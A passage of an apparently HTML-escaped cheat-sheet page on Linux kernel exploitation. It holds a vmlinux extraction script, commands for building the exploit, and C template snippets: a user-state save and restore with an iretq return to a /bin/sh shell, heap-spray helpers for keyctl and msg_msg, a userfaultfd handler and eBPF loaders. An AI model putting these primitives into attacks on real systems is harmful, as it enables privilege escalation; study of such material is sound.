	# &amp;#34;grep&amp;#34; that report the byte offset of the line instead of the pattern.

	# Try to find the header ($1) and decompress from here
	for	pos in `tr &amp;#34;$1\n$2&amp;#34; &amp;#34;\n$2=&amp;#34; &amp;lt; &amp;#34;$img&amp;#34; | grep -abo &amp;#34;^$2&amp;#34;`
	do
		pos=${pos%%:*}
		tail -c+$pos &amp;#34;$img&amp;#34; | $3 &amp;gt; $tmp 2&amp;gt; /dev/null
		check_vmlinux $tmp
	done
}

# Check invocation:
me=${0##*/}
img=$1
if	[ $# -ne 1 -o ! -s &amp;#34;$img&amp;#34; ]
then
	echo &amp;#34;Usage: $me &amp;lt;kernel-image&amp;gt;&amp;#34; &amp;gt;&amp;amp;2
	exit 2
fi

# Prepare temp files:
tmp=$(mktemp /tmp/vmlinux-XXX)
trap &amp;#34;rm -f $tmp&amp;#34; 0

# That didn&amp;#39;t work, so retry after decompression.
try_decompress &amp;#39;\037\213\010&amp;#39; xy    gunzip
try_decompress &amp;#39;\3757zXZ\000&amp;#39; abcde unxz
try_decompress &amp;#39;BZh&amp;#39;          xy    bunzip2
try_decompress &amp;#39;\135\0\0\0&amp;#39;   xxx   unlzma
try_decompress &amp;#39;\211\114\132&amp;#39; xy    &amp;#39;lzop -d&amp;#39;
try_decompress &amp;#39;\002!L\030&amp;#39;   xxx   &amp;#39;lz4 -d&amp;#39;
try_decompress &amp;#39;(\265/\375&amp;#39;   xxx   unzstd

# Finally check for uncompressed images or objects:
check_vmlinux $img

# Bail out:
echo &amp;#34;$me: Cannot find vmlinux.&amp;#34; &amp;gt;&amp;amp;2&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;build-exploit-code&#34;&gt;Build Exploit Code&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Use GLIBC: &lt;code&gt;gcc exploit.c -o exploit -static&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Use MUSL-GCC: &lt;code&gt;/usr/local/musl/bin/musl-gcc exploit.c -o exploit -static&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;or: &lt;code&gt;gcc -S exploit.c -o exploit.S; musl-gcc exploit.S -o exploit.elf&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;code-snippet&#34;&gt;Code Snippet&lt;/h2&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;132875469&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;132875469&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;utils.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;

#define KERNEL_BASE_START 0xffffffff81000000ull
#define KERNEL_BASE_END 0xffffffffc0000000ull
#define KERNEL_BASE_MASK (~0x00000000000fffffull)
#define IS_IN_KERNEL_RANGE(addr) \
  ((addr) &amp;gt;= KERNEL_BASE_START &amp;amp;&amp;amp; (addr) &amp;lt; KERNEL_BASE_END)

#define MIN(x, y) (x) &amp;lt; (y) ? (x) : (y)
#define MAX(x, y) (x) &amp;gt; (y) ? (x) : (y)

static void get_enter_to_continue(const char* msg);
static void fatal(const char* msg);

static void get_enter_to_continue(const char* msg) {
  puts(msg);
  getchar();
}
static void fatal(const char* msg) {
  perror(msg);
  // get_enter_to_continue(&amp;#34;Press enter to exit...&amp;#34;);
  exit(-1);
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;218539746&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;218539746&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;save_restore_state.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;stdint.h&amp;gt;

uint64_t user_cs, user_ss, user_sp, user_rflags;
static void save_state() {
  asm(&amp;#34;mov %[u_cs], cs;\n&amp;#34;
      &amp;#34;mov %[u_ss], ss;\n&amp;#34;
      &amp;#34;mov %[u_sp], rsp;\n&amp;#34;
      &amp;#34;pushf;\n&amp;#34;
      &amp;#34;pop %[u_rflags];\n&amp;#34;
      : [u_cs] &amp;#34;=r&amp;#34;(user_cs), [u_ss] &amp;#34;=r&amp;#34;(user_ss), [u_sp] &amp;#34;=r&amp;#34;(user_sp),
        [u_rflags] &amp;#34;=r&amp;#34;(user_rflags)::&amp;#34;memory&amp;#34;);
  printf(
      &amp;#34;[*] user_cs: 0x%lx, user_ss: 0x%lx, user_sp: 0x%lx, user_rflags: &amp;#34;
      &amp;#34;0x%lx\n&amp;#34;,
      user_cs, user_ss, user_sp, user_rflags);
}

static void get_shell() {
  puts(&amp;#34;[+] Get shell!&amp;#34;);
  char* argv[] = {&amp;#34;/bin/sh&amp;#34;, NULL};
  char* envp[] = {NULL};
  execve(&amp;#34;/bin/sh&amp;#34;, argv, envp);
}

static void restore_state() {
  asm volatile(
      &amp;#34;swapgs;\n&amp;#34;
      &amp;#34;mov qword ptr [rsp+0x20], %[u_ss];\n&amp;#34;
      &amp;#34;mov qword ptr [rsp+0x18], %[u_sp];\n&amp;#34;
      &amp;#34;mov qword ptr [rsp+0x10], %[u_rflags];\n&amp;#34;
      &amp;#34;mov qword ptr [rsp+0x08], %[u_cs];\n&amp;#34;
      &amp;#34;mov qword ptr [rsp+0x00], %[u_ret];\n&amp;#34;
      &amp;#34;iretq;\n&amp;#34; ::[u_cs] &amp;#34;r&amp;#34;(user_cs),
      [u_ss] &amp;#34;r&amp;#34;(user_ss), [u_sp] &amp;#34;r&amp;#34;(user_sp), [u_rflags] &amp;#34;r&amp;#34;(user_rflags),
      [u_ret] &amp;#34;r&amp;#34;(get_shell));
}

// For iretq
// *rop_buf++ = (uint64_t)(get_shell); // user_rip
// *rop_buf++ = (uint64_t)(user_cs);
// *rop_buf++ = (uint64_t)(user_rflags);
// *rop_buf++ = (uint64_t)(user_sp);
// *rop_buf++ = (uint64_t)(user_ss);&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;493872651&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;493872651&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;cpu.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#define _GNU_SOURCE
#include &amp;lt;sched.h&amp;gt;

void pin_to_core(size_t core);

void pin_to_core(size_t core) {
  cpu_set_t target_cpu;

  CPU_ZERO(&amp;amp;target_cpu);
  CPU_SET(core, &amp;amp;target_cpu);

  if (sched_setaffinity(0, sizeof(cpu_set_t), &amp;amp;target_cpu)) {
    fatal(&amp;#34;sched_setaffinity&amp;#34;);
  }
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;162748395&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;162748395&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;user_key.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;linux/keyctl.h&amp;gt;
#include &amp;lt;stdarg.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;sys/syscall.h&amp;gt;
#include &amp;lt;syscall.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

/**
 * type must be &amp;#34;keyring&amp;#34;, &amp;#34;user&amp;#34;, &amp;#34;logon&amp;#34;, or &amp;#34;big_key&amp;#34;
 */
static int32_t sys_add_key(const char *type, const char *desc,
                           const void *payload, size_t plen, int ringid);
static int32_t sys_keyctl(int cmd, ...);
static int32_t sys_revoke_key(int32_t key);
static int32_t sys_update_key(int32_t key, void *payload, size_t size);
static int32_t sys_read_key(int32_t key, char *buf, size_t size);

static int32_t sys_add_key(const char *type, const char *desc,
                           const void *payload, size_t plen, int ringid) {
  return syscall(__NR_add_key, type, desc, payload, plen, ringid);
}
static int32_t sys_keyctl(int cmd, ...) {
  va_list ap;
  long arg2, arg3, arg4, arg5;
  va_start(ap, cmd);
  arg2 = va_arg(ap, long);
  arg3 = va_arg(ap, long);
  arg4 = va_arg(ap, long);
  arg5 = va_arg(ap, long);
  va_end(ap);
  return syscall(__NR_keyctl, cmd, arg2, arg3, arg4, arg5);
}
static int32_t sys_revoke_key(int32_t key) {
  return sys_keyctl(KEYCTL_REVOKE, key);
}
static int32_t sys_read_key(int32_t key, char *buf, size_t size) {
  return sys_keyctl(KEYCTL_READ, key, buf, size);
}
static int32_t sys_update_key(int32_t key, void *payload, size_t size) {
  return sys_keyctl(KEYCTL_UPDATE, key, payload, size);
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;561873924&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;561873924&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;msgmsg.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#define _GNU_SOURCE
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/ipc.h&amp;gt;
#include &amp;lt;sys/msg.h&amp;gt;
#include &amp;lt;sys/types.h&amp;gt;

int send_msg(int msgqid, char* data, size_t size, long mtype, long mflag);
int recv_msg(int msgqid, char* data, size_t size, long mtype, long mflag);

int send_msg(int msgqid, char* data, size_t size, long mtype, long mflag) {
  struct msgbuf* m = malloc(sizeof(long) + size);
  int ret = -1;
  memcpy(m-&amp;gt;mtext, data, size);
  m-&amp;gt;mtype = mtype;

  ret = msgsnd(msgqid, m, size, mflag);

  free(m);
  return ret;
}
int recv_msg(int msgqid, char* data, size_t size, long mtype, long mflag) {
  struct msgbuf* m = malloc(sizeof(long) + size);
  int ret = -1;
  m-&amp;gt;mtype = mtype;

  ret = msgrcv(msgqid, m, size, mtype, mflag);
  memcpy(data, m-&amp;gt;mtext, size);

  free(m);
  return ret;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;718324965&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;718324965&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;uffd.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;// Check /proc/sys/vm/unprivileged_userfaultfd

#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;linux/userfaultfd.h&amp;gt;
#include &amp;lt;poll.h&amp;gt;
#include &amp;lt;pthread.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;sys/ioctl.h&amp;gt;
#include &amp;lt;sys/mman.h&amp;gt;
#include &amp;lt;sys/syscall.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

int register_uffd(void* addr, size_t len, void* (*handler)(void*)) {
  struct uffdio_api uffdio_api;
  struct uffdio_register uffdio_register;
  pthread_t th;
  int uffd = syscall(__NR_userfaultfd, __O_CLOEXEC | O_NONBLOCK);
  if (uffd &amp;lt; 0) {
    fatal(&amp;#34;syscall(__NR_userfaultfd)&amp;#34;);
  }

  uffdio_api.api = UFFD_API;
  uffdio_api.features = 0;
  if (ioctl(uffd, UFFDIO_API, &amp;amp;uffdio_api) &amp;lt; 0) {
    fatal(&amp;#34;ioctl(UFFDIO_API)&amp;#34;);
  }

  uffdio_register.range.start = (uint64_t)addr;
  uffdio_register.range.len = len;
  uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
  if (ioctl(uffd, UFFDIO_REGISTER, &amp;amp;uffdio_register) &amp;lt; 0) {
    fatal(&amp;#34;ioctl(UFFDIO_REGISTER)&amp;#34;);
  }

  if (pthread_create(&amp;amp;th, NULL, handler, (void*)(uint64_t)uffd) &amp;lt; 0) {
    fatal(&amp;#34;pthread_create&amp;#34;);
  }

  return uffd;
}

static void* userfault_template_handler(void* args) {
  if (sched_setaffinity(0, sizeof(cpu_set_t), &amp;amp;target_cpu)) {
    fatal(&amp;#34;sched_setaffinity&amp;#34;);
  }

  int uffd = (int)(long)args;
  char* page = (char*)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                           MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (page == MAP_FAILED) {
    fatal(&amp;#34;userfault_template_handler: mmap&amp;#34;);
  }

  static struct uffd_msg msg;
  struct uffdio_copy copy;
  struct pollfd pollfd;

  puts(&amp;#34;[*] userfault_template_handler: waiting for page fault...&amp;#34;);
  pollfd.fd = uffd;
  pollfd.events = POLLIN;
  while (poll(&amp;amp;pollfd, 1, -1) &amp;gt; 0) {
    if (pollfd.revents &amp;amp; POLLERR || pollfd.revents &amp;amp; POLLHUP) {
      fatal(&amp;#34;userfault_template_handler: poll&amp;#34;);
    }

    if (read(uffd, &amp;amp;msg, sizeof(msg)) &amp;lt;= 0) {
      fatal(&amp;#34;userfault_template_handler: read(uffd)&amp;#34;);
    }
    if (msg.event != UFFD_EVENT_PAGEFAULT) {
      fatal(&amp;#34;userfault_template_handler: msg.event != UFFD_EVENT_PAGEFAULT&amp;#34;);
    }

    printf(&amp;#34;[*] userfault_template_handler: addr=0x%llx, flag=0x%llx\n&amp;#34;,
           msg.arg.pagefault.address, msg.arg.pagefault.flags);

    // Main Routine
    copy.src = (uint64_t)page;  // data of page will be data of faulted page

    copy.dst = (uint64_t)msg.arg.pagefault.address;
    copy.len = 0x1000;
    copy.mode = 0;
    copy.copy = 0;
    if (ioctl(uffd, UFFDIO_COPY, &amp;amp;copy) &amp;lt; 0) {
      fatal(&amp;#34;userfault_template_handler: ioctl(UFFDIO_COPY)&amp;#34;);
    }
  }

  munmap(page, 0x1000);
  return NULL;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;126358749&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;126358749&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;bpf.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;// Check /proc/sys/kernel/unprivileged_bpf_disabled

#include &amp;lt;asm-generic/socket.h&amp;gt;
#include &amp;lt;linux/bpf.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;sys/socket.h&amp;gt;
#include &amp;lt;sys/syscall.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#include &amp;#34;bpf_insn.h&amp;#34;

int bpf(int cmd, union bpf_attr* attrs) {
  return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs));
}

int bpf_map_create(int val_size, int max_entries) {
  union bpf_attr attr = {
      .map_type = BPF_MAP_TYPE_ARRAY,
      .key_size = sizeof(int),
      .value_size = val_size,
      .max_entries = max_entries,
  };

  int map_fd = bpf(BPF_MAP_CREATE, &amp;amp;attr);
  if (map_fd &amp;lt; 0) {
    fatal(&amp;#34;bpf(BPF_MAP_CREATE)&amp;#34;);
  }

  return map_fd;
}
int bpf_map_update(int map_fd, int key, void* pval) {
  union bpf_attr attr = {
      .map_fd = map_fd,
      .key = (uint64_t)&amp;amp;key,
      .value = (uint64_t)pval,
      .flags = BPF_ANY,
  };

  int res = bpf(BPF_MAP_UPDATE_ELEM, &amp;amp;attr);
  if (res &amp;lt; 0) {
    fatal(&amp;#34;bpf(BPF_MAP_UPDATE_ELEM)&amp;#34;);
  }

  return res;
}
int bpf_map_lookup(int map_fd, int key, void* pval) {
  union bpf_attr attr = {
      .map_fd = map_fd,
      .key = (uint64_t)&amp;amp;key,
      .value = (uint64_t)pval,
      .flags = BPF_ANY,
  };

  return bpf(BPF_MAP_LOOKUP_ELEM, &amp;amp;attr);
}

void bpf_template() {
  char verifier_log[0x10000];

  uint64_t val = 0;
  int mapfd = bpf_map_create(sizeof(uint64_t), 1);
  bpf_map_update(mapfd, 0, &amp;amp;val);

  struct bpf_insn insns[] = {
      // BPF_REG_ARG1 == struct __sk_buff

      // Instructions

      BPF_EXIT_INSN(),
  };

  union bpf_attr prog_attr = {
      .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
      .insn_cnt = sizeof(insns) / sizeof(insns[0]),
      .insns = (uint64_t)insns,
      .license = (uint64_t)&amp;#34;GPL v2&amp;#34;,
      .log_level = 2,
      .log_size = sizeof(verifier_log),
      .log_buf = (uint64_t)verifier_log,
  };

  int progfd = bpf(BPF_PROG_LOAD, &amp;amp;prog_attr);
  if (progfd &amp;lt; 0) {
    puts(&amp;#34;============[failed reason]============&amp;#34;);
    printf(&amp;#34;%s\n&amp;#34;, verifier_log);
    fatal(&amp;#34;bpf(BPF_PROG_LOAD)&amp;#34;);
  }

  int socks[2];
  if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks)) {
    fatal(&amp;#34;socketpair&amp;#34;);
  }
  if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &amp;amp;progfd, sizeof(int))) {
    fatal(&amp;#34;setsockopt&amp;#34;);
  }

  // Trigger the BPF program
  write(socks[1], &amp;#34;UNIGURI&amp;#34;, 7);

  bpf_map_lookup(mapfd, 0, &amp;amp;val);

  close(socks[0]);
  close(socks[1]);
  close(progfd);
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;176932458&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;176932458&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;bpf_insn.h&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;/* SPDX-License-Identifier: (GPL-2.0-only OR BSD-2-Clause) */
/* eBPF instruction mini library */
#ifndef __BPF_INSN_H
#define __BPF_INSN_H

struct bpf_insn;

/* ArgX, context and stack frame pointer register positions. Note,
 * Arg1, Arg2, Arg3, etc are used as argument mappings of function
 * calls in BPF_CALL instruction.
 */
#define BPF_REG_ARG1 BPF_REG_1
#define BPF_REG_ARG2 BPF_REG_2
#define BPF_REG_ARG3 BPF_REG_3
#define BPF_REG_ARG4 BPF_REG_4
#define BPF_REG_ARG5 BPF_REG_5
#define BPF_REG_CTX BPF_REG_6
#define BPF_REG_FP BPF_REG_10

/* Additional register mappings for converted user programs. */
#define BPF_REG_A BPF_REG_0
#define BPF_REG_X BPF_REG_7
#define BPF_REG_TMP BPF_REG_8

/* BPF program can access up to 512 bytes of stack space. */
#define MAX_BPF_STACK 512

/* ALU ops on registers, bpf_add|sub|...: dst_reg += src_reg */

#define BPF_ALU64_REG(OP, DST, SRC)                          \
  ((struct bpf_insn){.code = BPF_ALU64 | BPF_OP(OP) | BPF_X, \
                     .dst_reg = DST,                         \
                     .src_reg = SRC,                         \
                     .off = 0,                               \
                     .imm = 0})

#define BPF_ALU32_REG(OP, DST, SRC)                        \
  ((struct bpf_insn){.code = BPF_ALU | BPF_OP(OP) | BPF_X, \
                     .dst_reg = DST,                       \
                     .src_reg = SRC,                       \
                     .off = 0,                             \
                     .imm = 0})

/* ALU ops on immediates, bpf_add|sub|...: dst_reg += imm32 */

#define BPF_ALU64_IMM(OP, DST, IMM)                          \
  ((struct bpf_insn){.code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \
                     .dst_reg = DST,                         \
                     .src_reg = 0,                           \
                     .off = 0,                               \
                     .imm = IMM})

#define BPF_ALU32_IMM(OP, DST, IMM)                        \
  ((struct bpf_insn){.code = BPF_ALU | BPF_OP(OP) | BPF_K, \
                     .dst_reg = DST,                       \
                     .src_reg = 0,                         \
                     .off = 0,                             \
                     .imm = IMM})

/* Endianess conversion, cpu_to_{l,b}e(), {l,b}e_to_cpu() */

#define BPF_ENDIAN(TYPE, DST, LEN)                              \
  ((struct bpf_insn){.code = BPF_ALU | BPF_END | BPF_SRC(TYPE), \
                     .dst_reg = DST,                            \
                     .src_reg = 0,                              \
                     .off = 0,                                  \
                     .imm = LEN})

/* Short form of mov, dst_reg = src_reg */

#define BPF_MOV64_REG(DST, SRC)                           \
  ((struct bpf_insn){.code = BPF_ALU64 | BPF_MOV | BPF_X, \
                     .dst_reg = DST,                      \
                     .src_reg = SRC,                      \
                     .off = 0,                            \
                     .imm = 0})

#define BPF_MOV32_REG(DST, SRC)                         \
  ((struct bpf_insn){.code = BPF_ALU | BPF_MOV | BPF_X, \
                     .dst_reg = DST,                    \
                     .src_reg = SRC,                    \
                     .off = 0,                          \
                     .imm = 0})

/* Short form of mov, dst_reg = imm32 */

#define BPF_MOV64_IMM(DST, IMM)                           \
  ((struct bpf_insn){.code = BPF_ALU64 | BPF_MOV | BPF_K, \
                     .dst_reg = DST,                      \
                     .src_reg = 0,                        \
                     .off = 0,                            \
                     .imm = IMM})

#define BPF_MOV32_IMM(DST, IMM)                         \
  ((struct bpf_insn){.code = BPF_ALU | BPF_MOV | BPF_K, \
                     .dst_reg = DST,                    \
                     .src_reg = 0,                      \
                     .off = 0,                          \
                     .imm = IMM})

/* BPF_LD_IMM64 macro encodes single &amp;#39;load 64-bit immediate&amp;#39; insn */
#define BPF_LD_IMM64(DST, IMM) BPF_LD_IMM64_RAW(DST, 0, IMM)

#define BPF_LD_IMM64_RAW(DST, SRC, IMM)                           \
  ((struct bpf_insn){.code = BPF_LD | BPF_DW | BPF_IMM,           \
                     .dst_reg = DST,                              \
                     .src_reg = SRC,                              \
                     .off = 0,                                    \
                     .imm = (__u32)(IMM)}),                       \
      ((struct bpf_insn){.code = 0, /* zero is reserved opcode */ \
                         .dst_reg = 0,                            \
                         .src_reg = 0,                            \
                         .off = 0,                                \
                         .imm = ((__u64)(IMM)) &amp;gt;&amp;gt; 32})

#ifndef BPF_PSEUDO_MAP_FD
#define BPF_PSEUDO_MAP_FD 1
#endif

/* pseudo BPF_LD_IMM64 insn used to refer to process-local map_fd */
#define BPF_LD_MAP_FD(DST, MAP_FD) \
  BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)

/* Direct packet access, R0 = *(uint *) (skb-&amp;gt;data + imm32) */

#define BPF_LD_ABS(SIZE, IMM)                                   \
  ((struct bpf_insn){.code = BPF_LD | BPF_SIZE(SIZE) | BPF_ABS, \
                     .dst_reg = 0,                              \
                     .src_reg = 0,                              \
                     .off = 0,                                  \
                     .imm = IMM})

/* Memory load, dst_reg = *(uint *) (src_reg + off16) */

#define BPF_LDX_MEM(SIZE, DST, SRC, OFF)                         \
  ((struct bpf_insn){.code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \
                     .dst_reg = DST,                             \
                     .src_reg = SRC,                             \
                     .off = OFF,                                 \
                     .imm = 0})

/* Memory store, *(uint *) (dst_reg + off16) = src_reg */

#define BPF_STX_MEM(SIZE, DST, SRC, OFF)                         \
  ((struct bpf_insn){.code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \
                     .dst_reg = DST,                             \
                     .src_reg = SRC,                             \
                     .off = OFF,                                 \
                     .imm = 0})

/* Atomic memory add, *(uint *)(dst_reg + off16) += src_reg */

#define BPF_STX_XADD(SIZE, DST, SRC, OFF)                         \
  ((struct bpf_insn){.code = BPF_STX | BPF_SIZE(SIZE) | BPF_XADD, \
                     .dst_reg = DST,                              \
                     .src_reg = SRC,                              \
                     .off = OFF,                                  \
                     .imm = 0})

/* Memory store, *(uint *) (dst_reg + off16) = imm32 */

#define BPF_ST_MEM(SIZE, DST, OFF, IMM)                         \
  ((struct bpf_insn){.code = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \
                     .dst_reg = DST,                            \
                     .src_reg = 0,                              \
                     .off = OFF,                                \
                     .imm = IMM})

/*
 * Atomic operations:
 *
 *   BPF_ADD                  *(uint *) (dst_reg + off16) += src_reg
 *   BPF_AND                  *(uint *) (dst_reg + off16) &amp;amp;= src_reg
 *   BPF_OR                   *(uint *) (dst_reg + off16) |= src_reg
 *   BPF_XOR                  *(uint *) (dst_reg + off16) ^= src_reg
 *   BPF_ADD | BPF_FETCH      src_reg = atomic_fetch_add(dst_reg + off16,
 * src_reg); BPF_AND | BPF_FETCH      src_reg = atomic_fetch_and(dst_reg +
 * off16, src_reg); BPF_OR | BPF_FETCH       src_reg = atomic_fetch_or(dst_reg +
 * off16, src_reg); BPF_XOR | BPF_FETCH      src_reg = atomic_fetch_xor(dst_reg
 * + off16, src_reg); BPF_XCHG                 src_reg = atomic_xchg(dst_reg +
 * off16, src_reg) BPF_CMPXCHG              r0 = atomic_cmpxchg(dst_reg + off16,
 * r0, src_reg)
 */

#define BPF_ATOMIC_OP(SIZE, OP, DST, SRC, OFF)                      \
  ((struct bpf_insn){.code = BPF_STX | BPF_SIZE(SIZE) | BPF_ATOMIC, \
                     .dst_reg = DST,                                \
                     .src_reg = SRC,                                \
                     .off = OFF,                                    \
                     .imm = OP})

/* Conditional jumps against registers, if (dst_reg &amp;#39;op&amp;#39; src_reg) goto pc +
 * off16 */

#define BPF_JMP_REG(OP, DST, SRC, OFF)                     \
  ((struct bpf_insn){.code = BPF_JMP | BPF_OP(OP) | BPF_X, \
                     .dst_reg = DST,                       \
                     .src_reg = SRC,                       \
                     .off = OFF,                           \
                     .imm = 0})

/* Like BPF_JMP_REG, but with 32-bit wide operands for comparison. */

#define BPF_JMP32_REG(OP, DST, SRC, OFF)                     \
  ((struct bpf_insn){.code = BPF_JMP32 | BPF_OP(OP) | BPF_X, \
                     .dst_reg = DST,                         \
                     .src_reg = SRC,                         \
                     .off = OFF,                             \
                     .imm = 0})

/* Conditional jumps against immediates, if (dst_reg &amp;#39;op&amp;#39; imm32) goto pc + off16
 */

#define BPF_JMP_IMM(OP, DST, IMM, OFF)                     \
  ((struct bpf_insn){.code = BPF_JMP | BPF_OP(OP) | BPF_K, \
                     .dst_reg = DST,                       \
                     .src_reg = 0,                         \
                     .off = OFF,                           \
                     .imm = IMM})

/* Like BPF_JMP_IMM, but with 32-bit wide operands for comparison. */

#define BPF_JMP32_IMM(OP, DST, IMM, OFF)                     \
  ((struct bpf_insn){.code = BPF_JMP32 | BPF_OP(OP) | BPF_K, \
                     .dst_reg = DST,                         \
                     .src_reg = 0,                           \
                     .off = OFF,                             \
                     .imm = IMM})

/* Function call */

#define BPF_EMIT_CALL(FUNC)                      \
  ((struct bpf_insn){.code = BPF_JMP | BPF_CALL, \
                     .dst_reg = 0,               \
                     .src_reg = 0,               \
                     .off = 0,                   \
                     .imm = (FUNC)})

/* Raw code statement block */

#define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM) \
  ((struct bpf_insn){                          \
      .code = CODE, .dst_reg = DST, .src_reg = SRC, .off = OFF, .imm = IMM})

/* Program exit */

#define BPF_EXIT_INSN()                          \
  ((struct bpf_insn){.code = BPF_JMP | BPF_EXIT, \
                     .dst_reg = 0,               \
                     .src_reg = 0,               \
                     .off = 0,                   \
                     .imm = 0})

#endif&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;





  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;473592816&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;473592816&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
